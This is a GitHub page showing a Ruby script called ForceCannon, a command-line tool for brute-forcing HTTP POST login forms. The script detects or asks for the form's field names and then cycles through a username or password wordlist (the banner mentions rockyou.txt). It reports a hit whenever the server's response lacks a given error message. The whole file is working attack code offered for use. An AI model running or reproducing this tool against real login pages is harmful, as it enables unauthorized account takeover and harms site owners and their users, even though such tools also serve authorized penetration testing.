-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathForceCannon.rb
executable file
·211 lines (160 loc) · 7.35 KB
/
ForceCannon.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/env ruby
require 'net/http'
require 'open-uri'
require 'optparse'
require 'nokogiri'
require 'uri'
def logo
banner = "\n▒█▀▀▀ █▀▀█ █▀▀█ █▀▀ █▀▀ ▒█▀▀█ █▀▀█ █▀▀▄ █▀▀▄ █▀▀█ █▀▀▄\n"
banner += "▒█▀▀▀ █░░█ █▄▄▀ █░░ █▀▀ ▒█░░░ █▄▄█ █░░█ █░░█ █░░█ █░░█\n"
banner += "▒█░░░ ▀▀▀▀ ▀░▀▀ ▀▀▀ ▀▀▀ ▒█▄▄█ ▀░░▀ ▀░░▀ ▀░░▀ ▀▀▀▀ ▀░░▀\n\n"
banner += "⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n"
banner += " ███████ ]▄▄▄▄▄▄▄▄ ---> rockyou.txt!\n"
banner += " ▂▄▅█████████▅▄▃▂\n"
banner += "[███████████████████].\n"
banner += "◥⊙▲⊙▲⊙▲⊙▲⊙▲⊙▲⊙◤.. ⠀⠀⠀⠀⠀⠀⠀\n"
banner += "⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n\n"
return banner
end
class ForceCannon
def initialize
@options = {}
end
def parse_options
OptionParser.new do |opt|
opt.banner = "\nUsage: ./app.rb [-t/--target] [-u/--username] [-P/--Password_list] [-e/--error_msg]"
opt.on("-t", "--target TARGET", "Target IP address or domain name") do |target|
@options[:target] = target
end
opt.on("-u", "--username USER_VALUE", "Username value") do |username|
@options[:username] = username
end
opt.on("-p", "--password PASSWORD_VALUE", "Password value") do |password|
@options[:password] = password
end
opt.on("-U", "--Users_list WORDLIST", "Wordlist of Usernames") do |usersList|
@options[:usersList] = usersList
end
opt.on("-P", "--Password_list WORDLIST", "Wordlist of Passwords") do |passList|
@options[:passList] = passList
end
opt.on("-e", "--error_msg AUTH_ERROR_MSG", "Authentication error message to check if the attack was successful") do |error|
@options[:error] = error
end
opt.on("-h", "--help", "show this help message and exit") do
puts opt
exit
end
end.parse!
validate_options
@options
end
def validate_options
if @options[:target].nil?
puts "\n[X] Select the target IP or domain name!\n"
exit
end
if @options[:usersList].nil? && @options[:passList].nil?
puts "\n[X] The Users wordlist or the Passwords wordlist must be provided!\n"
exit
end
if @options[:error].nil?
puts "\n[X] The authentication error message must be provided!\n"
exit
end
if @options[:username].nil? && @options[:password].nil?
puts "\n[X] The username or password must be provided!"
exit
end
end
def operating_modes(response)
inputs_names = []
puts logo
if response.to_i == 1
parsed_data = Nokogiri::HTML.parse(URI.open(@options[:target]))
test = parsed_data.css('form[method=post]')[0].css('input').select{|types| types['type'] == "text" || types['type'] == "password"}
test.each{|names| inputs_names.push(names.attributes['name'])}
elsif response.to_i == 2
puts "===" * 20
print "[?] Name attribute (Username): "
inputs_names[0] = $stdin.gets.chomp
puts "===" * 20
print "[?] Name attribute (Password): "
inputs_names[1] = $stdin.gets.chomp
puts "===" * 20 + "\n\n"
else
puts "[!] Unknown mode selected, starting default mode...\n\n"
puts "===" * 20
print "[?] Name attribute (Username): "
inputs_names[0] = $stdin.gets.chomp
puts "===" * 20
print "[?] Name attribute (Password): "
inputs_names[1] = $stdin.gets.chomp
puts "===" * 20 + "\n\n"
end
@user_data = inputs_names[0]
@pass_data = inputs_names[1]
end
def bruteforce_HTTP_POST
print "\n[!] Select an operating mode\n\n"
print "1 - Automatic Mode ---> Automatically enters the values of the ['name'] attributes"
puts "\n(Not 100% reliable)\n"
print "\n2 - Manual Mode ---> Manually enter the values of the ['name'] attributes"
puts "\n(100% reliable)\n\n"
print "Mode => "
response = $stdin.gets.chomp
operating_modes(response)
puts "---" * 15
puts "[?] Initializing BruteForce Attack\n"
puts "---" * 15 + "\n\n"
puts "---" * 15
puts "[!] Attacking..."
puts "---" * 15
url = URI(@options[:target])
status = Net::HTTP.get_response(url)
if status.code.to_i == 200 || status.code.to_i == 302
if @options[:usersList].nil? && !@options[:passList].empty?
File.open(@options[:passList], "r") do |list|
list.each_line do |line|
parameters = {
@user_data => @options[:username],
@pass_data => line.chomp
}
request = Net::HTTP.post_form(url, parameters)
if request.body.include?(@options[:error])
puts "\n[+] Testing with #{@options[:username]} | #{line.chomp}"
else
print "\n" + "***" * 25
print "\n[✓] Combination found! => User: #{@options[:username]} | Password: #{line.chomp}\n"
puts "***" * 25 + "\n\n"
break
end
end
end
else
File.open(@options[:usersList], "r") do |list|
list.each_line do |line|
parameters = {
@user_data => line.chomp,
@pass_data => @options[:password]
}
request = Net::HTTP.post_form(url, parameters)
if request.body.include?(@options[:error])
puts "\n[+] Testing with #{line.chomp} | #{@options[:password]}"
else
print "\n" + "***" * 25
print "\n[✓] Combination found! => User: #{line.chomp} | Password: #{@options[:password]}\n"
puts "***" * 25 + "\n\n"
break
end
end
end
end
else
puts "[X] The target is off\n"
end
end
end
force_cannon = ForceCannon.new
options = force_cannon.parse_options
force_cannon.bruteforce_HTTP_POST